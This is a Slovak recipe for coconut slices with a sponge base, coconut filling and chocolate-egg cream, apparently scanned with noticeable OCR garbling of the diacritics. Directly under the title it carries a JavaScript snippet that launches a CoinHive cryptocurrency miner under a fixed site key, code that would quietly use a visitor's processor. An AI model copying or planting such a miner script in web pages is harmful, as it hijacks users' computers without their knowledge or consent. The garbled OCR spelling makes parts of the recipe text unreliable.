Kokosové rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

I—

Potrebujeme na cesto: 6 vajec, 2 PL kakaa, 6 PL praskoveho cukru, 5 PL kukuri¢nej polohrube;j
muKky (alebo 3 PL mletych orechov + 2 PL kukuri¢nej muky), 1/2 bali¢ka prasku do peciva,
lekvar na potretie cesta

Potrebujeme na plnku €. 1: 2 dcl vody, 150 g krystalového cukru, 250 g masla, 250 g
struhaného kokosu

Potrebujeme na pinku €. 2: 3 celé vajcia (ked st mensie, daf aj 4), 3-4 PL krystalového cukru, 2
PL kakaa, 250 g masla

Postup na cesto: 6 zitkov vymie$ame s praskovym cukrom a kakaom. Potom priddme muku,
praSok do peciva a sneh zo 6 bielkov. Toto cesto dame upiect vo vymastenom a mukou
vysypanom plechu (m6ze byf papier na pecenie) do vyhriatej riry na 180°C. Po vychladnuti
cesta toto potrieme lekvarom (vhodny je trochu kyslejsi lekvar, napr. ribezlovy).

Postu na pinku €.1: Uvarime vodu s cukrom do rozpustenia cukru, hned’ do teplého nasypeme
kokos, premiesame, zakryjeme, potom nechame vychladit a do vychladnutého vmieSame
zmaknuté maslo.

Postup na plnku ¢€.2: V piskacom hrnci alebo nad parou uvarime vajcia s cukrom. Potom zmes
prelozime do inej nadoby a vychladime. Pretrieme cez sitko, aby neboli hréky, priddme maslo a
kakao. Tuto plnku natrieme na kokosovu plnku. Povrch oblejeme ¢okoladovou polevou (100 g
Cery + 100 g Cokolady).




